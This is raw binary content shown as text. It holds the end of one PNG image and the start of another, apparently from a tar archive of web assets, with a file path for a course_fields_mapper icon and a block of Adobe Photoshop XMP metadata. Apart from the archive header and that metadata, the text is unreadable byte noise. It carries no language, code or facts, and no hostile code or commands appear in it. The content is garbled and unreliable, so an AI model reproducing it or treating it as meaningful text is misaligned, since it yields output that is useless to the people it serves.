�q�R|��Üy'7�=c�M�K.(�F���ѡP(~�gXӧO��>�l?��lݨ���)A@�DpE1�����*��h�7�[QvK^�Or�ak�BA1���5Y���lMQ,Jq,ʨ�:,�x=��2����8^��I]�,���*��c��M�>�:���P(܆������R��q�
�3��T�+�э?�{i2�]��7��Ӳ�co8(������i8�&lizGch��+�aضMEE�X�5jTl�����ɓ��}�h{���i������M�@p��xS��{���h�Q2���%<���[�0�������~��1iҤإ�^�nj��qRɆ�����/-�%�+�۲���T�p���IEk�R
۶ٽ{7y�a.���N���'�l����T���\x�)�4��x � ���@����,�%PYY Z3�S�9s&ǟp"�y��:t��/�K6oޜ�a
�vBH�*@Q��x��ZD�Kn&TSSC]]-��UW]əgM�����+����<U\\���K�Y�(*�U[��4�+n��|��u�R�Z�m.�%�Pr�@ee���eʔk�6m���0R�Xؼy���x���M
&TJy��bh��G���0
\c���$d�5�e�F�C\1s:W\q%#G���I�GR,�/^�8�����m۶�z��M�I:�0pF7�x�& �5�:��@�1��8�H=�i2��\s�5�x�)��;b���իW�|��������۷o���
!p�*��$!:U�;����ap��:�R&M��H�R۶�/��2:�|k�ܹ�-[���A|>���W�^K� ;N��
a@�&9��E�&da���8�x�00�a�^p���Ir�`mm-h��aC�2�&M�D�⾤�a�m[l���'�x³t�Ҡ��3�~?����������<�ʓ���B�h>(\%a@����
��:㹮RJ}Ok���Қ��%����<^��χ��M�p��������:�ߏ/8���]ƈ��Hu�@MMM|�
�G}T-^�8�D<���;��c=�^{m�0���㎅�H���H�/�=n����E��,�,
7�0p'�|Ϛ@Iɗlݺ�M��PQYIuu5�h��C
����.̶�5K��A$�����=
��d�dƏ?Tʗ��-Z�(���O�`�oEE��4M��C�M�4ɞ<y�ѣG��%%%eW]u���Ou
����+���$W4Y|��K�e���o�L]]�w�b�Νl۶�u���嗛ٲe3KJ(+�����L��4M<Oü��T�$����c�>�?�l.��RN=u<�\R�%`Y�}�/��b��_�n۶�g�RJ�C��M�2ź袋Ԑ!C�KW
4(v���3lذ�Ց� ����!���z����v--R���/e�00̀���mY���R�{۶mgǎ�|�r˖�`���ڽ���D0��~?��4Ok�:$W���"�����+�d��+e�%hJw��ᥗ^���$��
����^�1c�gܸq�/h����NKa=6��*-
Ҁ��������ֺ�岺��GNN�4�w{�ʨ����M%�Z��M�JX�v[�m����=���Z7�$F��w-$7���eРL�:��/�Ġ�CH�M]m
���O�{��?�<�NA��B����G���*u�ǚ�p�þ ě�:L)�.���ҫ<��$���h�@?@�@�)�@��}��f��?muu���k�N6n�ƍ)))a���l۾�ʊ*�����$�������a��K��Ɍ{(~
�?��x�י7�I��b��(Zkl��N��9s�}��z���e����s�aү0��$�ɦE��x�>rs���ͧO��6�p��8�h�=eN+��
��OX�f-;v�`Rb�J)ÃaD�QCq�Y�s��s�GI�e���y��x�7����0<��qz��Ì3���ˍ��"S�Vw1�H�M2���8
Ҁ��1��Ï���w�R^���v]��H���¹r�@�~\4�h4ʞݻX���_��5kV�f�zv���!�g��i�s�����`�;�o�'���3�ٶ}g�qM��.��<.�:��Ç�zۺje�4ڏ
�B��"iBH~�{�=X�Z1ݝeAU���`��6o���������!�m��)��m[�۷=z���w�����c����A��p(Ą3N�ʫ��#����@m
��Ĕ�_�#�U@� "-4٧ �
\mcVY�ڵ��U�p�qp�aЧ�0�B����W(�CϞ��ٳW;~��TVV���<�Ѓ���`�FC)�=����*N?�,<^_{ORN�ܼy3�rHʪo�\�)�"�Hi%���ӭ���������
��V�������b:F����'�����&����>ay���*+��z�&�F�`ʔ�\r�r�
:z2?�4��_���ᄏ���Q��ܮB�F$��p#6^n�۵; x�Œ�p��AT�٬;];v:_K���'�lV,_����g��/�y�6�^/^���Çp��3y�B�b�I� �-z���͗J��/k����"mHi#�U����Y�(m�-)���{���*��_����/1�s,_�����wq'�ɴ˦q�G�J�E2����?���w�B�%���f�B��1B� "m$7.���:p�Rj��z��ee�.�j�*+X���~�>��sjjj�ZSP��Ocڴi�x���~RP�}�Q��PVV6�0��N� �J)U��*
ҏ��vb{�XHh���+M�k�E�K,��wy���X���TU��F�y=w�1\~�N;}��=R]��iӦ�O<��ϟ�ݶm�F������0��kiAHK�@L�]��T�o��6?��0�#�1x�P���O8�����6˖~�����o�kw)���:v�]6���;�~�!�[WUUE�͛g=�쳞U�V�,���^/�{�~(�';H���L��SBD�Iv|��*�M)���:=7/�*JQWS ��ݥ<;�y�^/�99�STԓ#�<���g&6.r�f�M<�ȿy��l߾˶�,��^EL�t2�L� �C�x�=U�E�eE_|����?���O�X̣�&
����a$�S8~>�'m#��x�j`6����CHK�n��a�xx��g�ݝwЯ__�55���Բ�tK6��~�m���\k!��,����9sX�n#JD�Q��
�:�믻��c��7Iu��'�|}�����b�eY*��Ç���5j�o~��>�DRyރ1���4��"DK$���l��ޝ�k��Y��Ś�����o���1�G�y�\����Ml۶��[����UT������gM4R�[o��ܹsY��C������̙�s��g�:p�}ٶm�[�.�����/x+++}>��x<�����2eJlƌ�}��)++��z��THL'�Y��V��$��eѰ�,��0�\��u�\p����e֬o&��X�8UUU���_|����3��o=�R�Z���lڰ�!ÆSܻ�@�$v&<Ѕ�Y4h���yd�#���;TU��;�6�+����.�$�h�ٲe�?�|�ܹs}�7o��|>��֦iZ_|q��k�U#G�Ln���G���>�h�j8H�rH����h������������Fk��[�tu�(V�\�)�����5zV��((�AAa��s�'Y�}��wX�r5��O�>�u��;�p���O�>��/($&���g�x��y�g�]Z�ax=���Ť�/�+�����7_^��^��f�ʕAáMӴ�9��u�]g�?�$M>۔RW�G��"���?!ZbQ��d�N�ka�맂���Y)E��$�AEU%۶�
n�ٵk7[�nc�����e�0��Ç2x��JNN�w�y���>�����x<={�� g0}�4�q�/������O>b�ܹ���M,�����:��bӧO�.��Bo0��~���bVg�D!ҙ���f%Z�O�(�������IDu��6���x���ٹk7;����H���2�m����`�����Яorr¬Y���K
r�S�2e
��6e����m>���}�^y�5�nۑ
��2eJ��K.����'��/��<�i�RS��cH��HDZ��,ݚ.c�TG�@�ӄƣ�����r���1}�6m*a͚5��lbS�F֮���Rv�.������rv�.u��^��r9�qL�l*�!�P��7�Y�n
���O�{��%��,��C�9��3��k�Q�F($�4�������E�D��0
�Z���+�ƻ��@�~����5�.������߆�߇�g�����
3b��1�9p.nٺ��ݻY�n-KJغu��m`��]��K&M���O�k���{�^y�e�y�YV���h,�mk�{1q��=�"Ə���k�K�%ػVWPJ�U܃��U@�9 �[�Ⱦu�!
��`���Ba|�p�-0bL��������y<3l��
��ǟ@܊SYQ��]�ؽ{7EEE�=�T��g[Q^z�E�z�i>��c��kQJ�{9�� L�>��?�p8�`�PT�?�J78nu�i�h "�5[�p�R��Z�%.�����z<��=l�u�=B!籼|��Nع�
mjmP�^��={ѣg/Fu�N�����0����{��)'��x8���\q�L�<k"�z�i�J�}J����U��U@tD��iس�\
�À�����wo竹~����o|**�YU*��͚ի�;�q^}�5J��a�ˊ3l�`.�:��'M�;z���;���ⷿ�mj�o�R��F���-$[f�ݳ�u��lbt�F��{��*�֦ٳ{'�?�O=�,��l�����(����.g��i>�ϟ��
�]�~�β��T�߁�N�VѝH�N����R��ow�9]XŶ���T[S��/�G�l�
l
�P
�:�4����?�$|>���:����7D"��~�+�4�@)u�I�P��$�n�q�@!�2g0��]qn7��9 S�W��E�HSW[�G-a�#�����e��Jq��q�39���1���ٲ,{�����{lʪU��
<�o�})=�^�
��V��H�J���ӕR��۶m�7_c��sr����=�=��r�r��{�W^Y@�rL��P��a��i\z�T�z���kW��W^������]�6
��mذ�6:!$�N��͈D7%a@tK��X)u���N=���ܒ�M|�{�K߾��߿/cF�d��0�^�����'/7/q��.�fS�F^|�y�|�iV�Y�����)�Փs�9��/���Æ��)����"�hѢ��?l,Z�(�����磔����-H���Rgo�p��;�0
��������0�"C)v����m;����X����~�z�`�r�Ǝ͠AC�ӧ7�{�!77�4]6[�n��7^��'���ϗck���WQN?}<S�N��O���F�?�06w�\�ꫯ����}999�|>���r�0+**�{*O���=
����0 ��d
���.�T)u��c�����{q��'�k�.v��EUu5��6}���%_b��IN8L���:��}�2r�p�A���(�ٓ���N��J�{o!�=�8�-!��Z
8���>m:��1��օ�,�bŊؼy��/��ݱc�?''���������'��?+**�%�nH�D��e�=
�; �۲p��J�H)u��zy�Oc���m+;|�p���ܹ�
6�e�֬YÆ
)--�tO��u��Ŏ��X�l^����<���),,d�C<d(Cf���ߟ��=Q���ڶx�wy�gx{�Bv�ރR
�����cʔK8��s�ݻo�.Z_~��5���s�=g�^���F�=�|5�Ph^8~(77����-�|J�a�b����zD�������؍�[)5[k�h
Oc��~l���w[;3�^��B���p�G��vB@i);w�Ll0T�ڵkٰa��ֲs�n�o߉���#��4M��0�����ՋA�1d���ѣ�߿?^���[&[��ҥK�7oo��;w�$���f�L�<��/���Ç�*������͟??:o�<�����x<����%_ �o�Q��)��R3�Y(�U@d �[K�o'��8�2<L��-?b�7��s/Aa�Kk�'�)(..����ѣG3~�x���(--eǎ����~�z6l��_~��͛���������*JKKٴi�~�)�a
��۷/���gРA�5�пz��aM�G�Z�u�V�|�I^x�6mڄR�h4Jaa!�wS�N�#�p�-�P,�wީ�;w�Z�h�Y__�M��ৡP�^�0�5Ms[<�����ʁ�%�L!a@t{�0���W���*��h�W��������[7r�W���O0E�h��]|8&3p�@}�q��h4JMM�����KJJ�m�X�r��z�jc�֭l߾ݨ���&/�eee�\�R{�^�unn.}���4H
8�;v�1b�7�o��=w�\c�ҥ>�����0�.�^u�Uy�����N�>����#�<�[o�孬����0>�oKqq�=^���H$�>��T�4�'pz�(^fH@�8cr�*X��*�Z�v�}���T� �˯~�g*+����~��g���(�ߏ�藺��8p
Zk"��]WWGEEElÆ
֚5k�˖-�V�X�+--�����Ō={�PVV��͛��?��ϧC���ѣ���|j�֭���j�m�Jkm~��뮻Ξ0a�?''�K�C�֭[#>����/��w�z�^
��|�������~�j�u�3C�Rj�؏�'r{wx"�H��B�~�?��Z��W��&����^�5J��8-�@�(,,�<X�v�i��q����qclժU֪U���7o�7l��)//7���Tmm��F����0l�&�1x��ȥ�^jM�6�ӫW��:�}�[����}�嗭Gy�X�~}0�P(��������h�B���Z�|\@sJ�C�������A$����!N/��v����T���Y�� �b������S�L�n���<�Ǜp���k@����7nܨw��_�zu|ٲe�-[��͛7��垂��،3�W^y�1lذ�]5H����.\�3g������Rޜ����4����ڶ���;;(��f���&D"�HeEx��8=Q�J�=�R=R5�@k�D)~���n�w���&_�B'v[
P�`�?f�ƌ�g��m����������ׯ��
��<�H?���БH�^�lY�`�
f$����`���x�ޝ��smmme}}�����3s��
���$��3-�Bpe'�0�Z�?TJ�������R���Fgj^���a����?ꨣ8ꨣR~۶��k�Ɵz��O?�+--��B!����z�[���3�p�~�e�
j�Y�pv���2Y���@DF��A/��ap|�74�Z�V)���;��;�俋�KϞ�) ��\�R=G?�X7n�����ּy�<�W���䨂��^����x(��F��;�9�ԩ���SD�0
2V%��^
�lhtB��U��~Oh` ���N��e��#1Tr��v�w� ^o�3������^{�z�G��>��TJy����z�:���ѣ��v�ٶ;--J���w��"w�R�]Cb��X_��ox��Ľ����ݳ�5�o
�ࢋ'��[/bc��f���c�X�7ި��~`���?���g�p8��ٳ'�p����������,˵U~A��='
2]��r���10;z��Zj����7zB�vض����M~z�w���o'��ͨq���b���}����`0�������i�O{<�/�b��H�H�x��<��@PW��O���K��n�������[���!P;��n���ŋ�cƌ����8
ݥ�uk������/��l��|F~~>^�7ҳg�{
��m۟��-�ru����$����@�0[k=/����9��,��Q�2�0`����OF��k���}�ӷo_���g�92z�a��
R}��1�@��NW-]UU}��'cO>��oݺu&`$�������j��R�uuun�LfgI�H��A&TJ��Z��\��կ�rG���s��o��s�:��gضMEE����³b�
�x�
��易�
>t�����ȑ#�#F�>}��>}���x|��z���h�W^�?����<~���C8~?�
xy��.��v�&�
�A)u
��jpB��m$�������)DM(C�RJ�h�7��\ڮ^����v p�M�����)4����Y���i�=�m�e�s�N�֭[�,��g����={��#F���;�<x�=z��ӧ����a�/܄eY���~Z������x�
�PJi�47���5''����]��s�N�K�*D�U�� �� "�HY'���/S�S���}�Rjl
w;��rmu
o��p�z;�\�oa���\��TWW�cǎY�ƍ����=ɲ�C��0˲z۶�Z��e555Fee%�ׯ�����~�gϞV߾}�ѣGG?�pc��F�~�T8����������q���$6gΜ�s�=gVVV���@�;>^TT�G�p�ڽ?[Z�����
��# �����&c0;�mj��S>��f�gV(��
�(���;����|����^�i%H��k�ټy�����M`>�U��gee��e��,�x<>8�I�oY��k�.c���,Y�ğ��86`�kРA�#FأG�6���c���������~#�lߖ{��ͱ��z��<[�l� �������x�L�\гgϿ<��9?H��*S&9P��i��G���rDVk<��D�����,|,�����7+�*�qǝ�3O=ΡG�����Ҏ7lؤ���-�J|1���C�Hd�����x<~�eY�,�ʷ,�Hk���&��V�^���VAA�=j�(k�ȑz��j�رvqq�777�(((�0Eb߂di{���x�9sԧ�~�FAA@m0\��6���Ϥ��/�~��iJ�Y�E���g`a��J�ϵ��Sy�X�r����|�є��s�?��g_��T�n���4��ɻ.�V&����'�����h4:����(۶��1:�
EyyyE�x�X,�)++�,\����o����B�W�^<8:v�X
d<�{{|>�^�ti|Μ9������b1o~~>�.�����=��U�QC��0`VL��Y�A�� B�7���5~7zYg�#�����P(t�'wd
𫛾q��b+3��C5�H�J�}��s�L��퉯%Ӿ�\���f�mۃ|>ߘH$2¶�e����=��x
����ƞ={X�|�綾^ҁ@�...��
�����Gyw����ÄB!�������M�|�O^�U��s�=w<��E%��x)G
�$a@����r��B�<��G�N���<���ߡ|��{~���QZZʍ_��N���n���z����)_��F����aJ�A��գ,�k�v?۶�Y�U�ŔeY�m۶y6m���Bv�B�'�_x`��U�9�{�3q���*��ƛ��R�$a@�ff%Z n!N�.(C��Z��V�X}ͽ�@x
��v?���̼��9d��?O:��>3���)��_y��m�EZ�Z�>�ol$9Բ�a�x�˲0�
�B����}�Ή���-^~���7
�1`6ކ�'��K%G,w���0
���/��Gn�Y�Ut����t�e��/��`�}I�>
@0d�+#�1!��~D��cEj�C�/&n)���
�0��-Z����;|n��-�����w�-�Z��:�5`z�� ���*4y�kO���S\�+��@8���ܒ\DQ�4ߟ��^��7���p.d���tQ�L�<$�&[4�
L��H� �hE��h<��}���p� �j]�
���W!p����J����mA�E��5@�����e@�]���rq��c8�wݫ,k�|-�ĺ�Hk�h;i��!Z���
��f�A�ℂ�n֘%vLN�B��^�8H�.4��q|� �W��8����s\*1c)��� ���8]��E#!@���0
D;ݸ�P�S����8��)�j�J����
�2��8+�,$DGI���ܔ�>�YUp�R���To��
�R�qB��dK@=�H5 B�H�d(�C}�����ׁ�Z�u.����RÀb�z$�HK��G)v�~BA�V�(��@�(�<�$�V���Yt�(OLTH��H��4gL�����J�YJ��o��i��o'I�cpXz
E}b�`� Dב0 D'k�R`�,^d!�UY�c}��Uk]ҥ�v��
�NhX�!g,@U�ł@B�]E]��m@���R)5g݂�Qk���M���N���Ǔ��x^$� B���Z�f�Q4��B~
����p�TJ%W:��\?��[��R����8����&��8?�x��&$� B�hV�`��i)H�10hɕ(��� u��jq��m�Z�� �R@O�1~^�^�?~�<��FO��i�H������/D��0
Di�+�����>�>�ee��Zz/��_p��6��miY�s�_�~��B���z4q���j4w���H"�I"M�{��ϵ>�=�`5�pBCr�uKM-���Z�@uJ��x,��$Q��V<BQ��Hl�ռ�C��$�M�tWl��fr�A-��5�_����z��8w�`&���@<��/~!�/ Btc�5���В�@i�"sI"�Ɋ}B���O
!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�y�.
]T��.A!�p��
���%!��ɔn���!��*u�)a`;P�vB!���H�L ��r��B�5�s��Tʔ0��!��
���."�2)��q�!��O@��"R)��@p��E!��hw��Tˤ0�(�g��B��6��a��ya���.B!DF�8��r�"���I��.�!��{ۄs�y"���Z:���Y�W)u���x���@��+K�1�1n!�������]H;T_�h����EZ�V�@/�Dt�#Օ
!���U�v5��00� B!D&3����j��;f��HB!2E`���O��2p�.*L�9��w��.��op�!�^�����n�À��Btg�~���pp�ۅ!gO��e-u� BtgW��^A�AK7"k��.8�|�i7�a�R��Bt����h�E8�B�����q���"�H���.���q�!D�ˠ�
�\*D�K�.��2j�W!�� �4�t�!DjXn�F1�B4 MÀ�)
D�v����8�B4A�0�n����n�F]��A������!�H��g�]D+�.p�!D���4|�JB�Tz炛n�8˜�v�!D�B�u���G
���p�0u�g��s��.�"���eZ��/��+�Bd�M�0�u�q7A��K !��k���v-|�#�Bd�����]�7�cܨN!���#�,��0�|�BO����B�9^�QHj)�8�B`��s�B!D'ێsM��fAZ3�\��g�Q�m
�B��M�����@}K�o�@[�t�@!�Bt�6o1�$!�";�òB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!��y��WuIEND�B`�assets/images/icons/course_fields_mapper.png000064400000076540151165724360015354
0ustar00�PNG
IHDR,^ɰ) pHYs���iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-04-19T12:53:37+04:30"
xmp:ModifyDate="2021-04-19T12:53:37+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:ebfefccb-55da-f24d-9318-0cea4063a6b3"
xmpMM:DocumentID="adobe:docid:photoshop:23287000-cb2d-c64f-8461-67ffdb75fc0c"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:b2884f0a-04ac-704d-a0eb-5bdd26ef47d1"
stEvt:when="2021-04-19T12:53:37+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:ebfefccb-55da-f24d-9318-0cea4063a6b3"
stEvt:when="2021-04-19T12:53:37+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:b2884f0a-04ac-704d-a0eb-5bdd26ef47d1"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>D16B72E9DF0C6D65519F995D1857825A</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
<rdf:li>adobe:docid:photoshop:9cbcd789-19bc-6649-a45d-7007ec850f72</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>ǂ:/p�IDATx��w|SU����ޤi���Y�����{o����Ͻ���{�ǁ{/p��"[�%�g)���ir�q�۴M��}�^�M��{O���N��FA��Ŋ�AA�/"A!�1
� i��AAHsD� B�#b@A�� ���A�4GĀ
� �9��
�T<��XdR�5�
B�x���Z����88��
�P뀟����Iqq�½ R�2���W�"�
$=��_�=�X��NI1�����
)C1����H�IE1���A!6���AD�T�g�{�
B�R��yQCk�R��C! �
Ėf��=�h�Jb�x@AHN��{�$���x@AH2�}�=�h�*b��=ރA҆!�@4I1�1�AҊ�@4I1
� ��7��&"A!�1 �
i��AAHsR�kaDl�KSR�c�T|�uyպ��A��B4� �{qG�@1��NC��
�������)���
�W������: ���O$� uGĀ
� ]a���X�������(P6A�ʈ�j�8��rҏ&Ս��0�
�A�@�X�f ��hV�Y
��l�h��m�iŇ)Ɲ�@�:�=�
E`;����:2Y
���H6�Y�B�X����ot�Zps��|�r�~��6���U�B�^ؖ
��Q�.(�x��ZtCeuE�
�J�R]��|�/�ih>�� �%��?���y���}��݀���qWJ��]�UR�����x�N�`.��j4���vf���3f���
�l�\,��v��B��\$���&@��w�5�p�[CnT�,�pT�(o7�3*��8��b|\��/�q/�<�h�AՁM���khQ�{(_pp/в.ϯj���yb���1�!r����3��q��B{�&kRa&��ĿX�Q�5�m3�#jr�g��!�u���0��Zc�}g�ί���X9'`5��� h/VA�%oc�~�{(_�3`T,U�G��D����|��"Dl'Y�6��/4_�y�d5��R�P�f�C��b&{���V�踚���1m>�a�BK�5/���V_���խ5�&������@��kݳ,��������]�g)�`�gBך�1`ĀXk���l�ͻ����VA3{1_�i�&�1�X��W�Lf!��[{`/�o�t���a*A�l:+��.����?��'�!a��uڿ�{x0꣪w�Yh���o���R��\��h�����f����?b�j��?8qjE&��{�GMmC��۰=�`u�*�f�#����������AՁM@�큎uE�:3���!��$��y���%k�m&�U���*L`&�/�а�������?�=O&��'jٍ�L�^S
u��z�/D�fa\{��0�ə�X���
�F`>f��!�tǸ�����(��%
cZ!b
��
��8|��/E{]�7x�|��|IQ�D8[1X����p�Rt�ny��F��zȇU"fj�q7p%ڿ��#������
GB��!ڿ��=�o���
aQ��6����t�@�.����C5~�Ŭ��a�0�P/�݁�����@�X;
k���]�B���
!I��QΤ|���sj�+����8-��<���v7�� ?�>.��2�)1��٘t�/0&�RG� 7.V`��'����v���Ϲ�+���%�ě
$m�Lڿ8�tXQ�O�G��`�'��TD$����8N>��L��oa�k~��PW¢`5��r
p�V��1��op�ޅ��0�>5Iҗ�1��囎�t82t�W��ha����>�LZ��w�D�+��+\��ý8n���ZÕ�U�d700Vh��7p�/�?�d>z��z���uM�H!*��5~��<���峁}��I����ASM��N&���]x8
�(
�D@E�Ys������E�1�!G�=�"�#��cL�n�|a|�_Ǣ��>�(�8�;)1{���\@��q�<��E��]�<�D���7ɻ��+@pz�h%��Έ��!��k�hgS���O0.͓���S��e��ꀼY��Z!0���W��x8���&,.����}�
����lB�
���7[�o$�%08�ϋ�9��>��B�
���>.���h������x76��)�<Sl��
�'c)zҋxvof�*
B�s,� �7�?��GQ��@g`5�O�dž�b2�.���4>[l����y�`��g���q�^ؠ�)Rg���p�"�E�����mc���a�4Bݱ1�̯N
�B�~Oߞ����
$�0&�W�9hND�R������vS�3�?�)�>��i��~ʢ|��tC]�I�S1u�
����"����u�h��}&�z���W�3
]�e1��]y���px7��|��|9�Qm+��0�Q/�ށ�����<�3�#���Z���Z�R�A����
}-z����+Ъ��?N��ɒ��i�^/D1
1ѥJ!���p��x� S�C�@�q1)��bV1��GEp�o�%��
$.&.�fL��^@���k�@�GO�k#���å
!�x��q�P�+�͘J��S�3=�Z�q�(�[�v<�M"a;0f�ڸ��u,SWdd�{�"Dѣ�{Y<g,n�y�%L���w�X�15ПĤ�-E;��?���;4AHVG��p@α
X��������>�0�م"�ѡR�������׀1��Blن��fw,D�8���$�PHsj��"]����3C�|���/F���|u'@�� w?���
D�@�)��.�Ǹ�s̈́��5
B����b.B��B�����xZ�6ς��D:i.��UE &��C�[��j7���
�B�-�3#�'��
��&hU��h��a��#0��/4.���D���A�:
iL��{���*�zLA�]�C�g�ʷ3�7
����1~�{�6�!V��
���Q���F��,Ac�o��n������N��/��+�W�`���!��E�ײߩ�^�6`*�>a}��1�0�H�� ع�cx��1��jB��QB�@���`��l���;�iTV�B�x�a�kprv@�:k�8�K�L�`�z1`����,�@��k��(�~�u�q��h��*Σ0E�n�rS%x���P���x\B����~�T!��s\��/��H��D@�0&�%�`��p
�����y������W�cҤ�Ƭ��A�&�|�|�+�~�ؽJ!`��h���H��"-Cc���h<B���?��.E�=}�sˏ�R`"�0��=�z���<&A���nE�|��C�I�ڎÔ���/��|MP������^��i5��nG
u'@��m��pY�F��G��C�Hxx�;�9ܯ�<&A�O�|-���O�����M嫺 ��B�nA����1������W�Ǎhx������տ��W�8�z!��2X��ˏ��[����?�t%��4#�t���
��]@U�A٠�0Պ�t)!�%���a�\ŀˌ�_�uTEet�1
$S�i���n"����EUȔ,B3�\4�q����XF1
E��6�R�>�E˹�/;�{�|�m۶ߣ|���1~�N�R�ob�fC#0��0��|*t@���q��(ߩ�c��3��'�("b�nT
���p ��S�d�I�V��Mpsv���-,�þ�eL���NX��!�T9�ј��g��90�?8�~�g�X����͋�L�eZ��r;�����b�`��\/��9�[��X�j̥�l�
��Ϣ�o�3&�qe��*�m�Y8���
���(�!h�VLvP�j�ꉈ��QN�D�.�{`�6ju[5��dj�댟,a�����
3����"M��^�Fup�D�^o�~&����4��z(5�w��%g�!C'5k�~ő��{�I�&�?g��ř�����^��_�:gSN��p2���,��f���j�B��h����<6
S[`x-Ǩ�T�Ƽ�T��+�W݇t1�]�9ʷ��!
@�@�Pa�{� �:6�9���pL�AB��P����$�E�Zk�R�M`���o��9k]�k��q�6���֤��c���1�����8h|
�����;^����o�q�_}}��-��B,����P5��|�+�'�b`iϯ�lU�>�<L���1V�Q>G�#@�
B`��q)U�c"�k�pO�]֛&:IGM�BS�<`<`�@�}gv�
B�G�Z�������i�v}����yu9�q�>�ܷ�}9}Z��N:��V�U�.���B��廏�װ^$Fjt&�?��9ރIUDDF��o�2��`���3�R���¼�T*���v��0���8-V�4�8��L�/pܱ��gǏ?��Mo^0��~
JM��>�nx��W?�x����] 0W�P�JL��+�k0�ac�㍩z���c�L��
b
2����c���M^��]�9��m�@�(J�)��Y��l���]Иց��(�䠋��mЬ�~���N��s����ޙ2����
ŃD��_��?��X��)DnΏ��:p"♄��t+�8����2.�u&�+����)-hRoj�VL
"���}�^�(��P��j��qX&�)�0a�}衇���,yޫ8m.Ě�j�h��*�����)Ç�y��=?����y���,Y�/���,�����]�u�f�
4����R�]\���}�+/��)� f����X���O�������F����gn����G��*LF�%D�N���4ߛ<o4]����Y��k^`o*s�{�z���e�v�M��6�=K��&�hP�c86������1'd
����X~�;��ت��z��N�=���_�������<��N��P<�C������c.�잽o���c=�����:�/���,�tS���Ѣ��3�U��; �v(D���Ɩ�pYb��1�J�|��W�(�΄��fk��8`�q���n�~}Zk����p��@�WqZ���$���<l�X�K۶^���f�^�[v���c��o��|p�����#�2���Fln��zl��f(V�o��wx��w/:j�}���۫:��o�~���O��b顕�\��W��SF�:4�ӧ�rgV��Vu���ٰ�:Sj�xuc�,j�%$�4F�~�^�D��۟SB�ls[�P��j��t����I���C�����3v�(�0���qɆ�K����\ԫ�b+�獜��S��C�9X\�͐X��y��'�����3������aϒ�y��s�?��g��y
�^�.H'`�����,���F�|E����=��P�ue����0�s��S����W���Q������#D�Xjf����wpY��k�[&����H�h�>��m�Ҷm[�̙�b�LZ��k�Eץ(d�\K��h��c����yU��;b��sf�ʜ��W��(�@�~�KT��sf�v��������?���g��モ�Y�L!ux�)��mLPtU���\���>��>>L,U�}���ro�}��T'ZJy��Dž1!E��8cXL�[�7`V�.�źq�&�1�EަM�������e�]&��D�|�C%��z<�λ��u�8n��3��}P�_�aL���P|��~�̯.�]�~��s�y22
_�e^j������߆i�O
����}0�'1j!$="�g���桙UzחDPm���� VL呝�V�eAQlk䭨��gF�M�6m��̙�X]?��z>�ˡJ
G�1��o߳R\µ]�>��o�����9����� �gx��O��{e�3�����뇬=��'<!ցt��[�c=�Z�PE�l�"�����T��p��
� ӋMs�T��S%.���춀��aڴ8m�ׯl�}�:�f͚Jwa��㶛�^��o��7 M6�3����Z��>�,�!�����b�[���Y<�I
�/�8���];���]8wރo}���ϻn�S�!
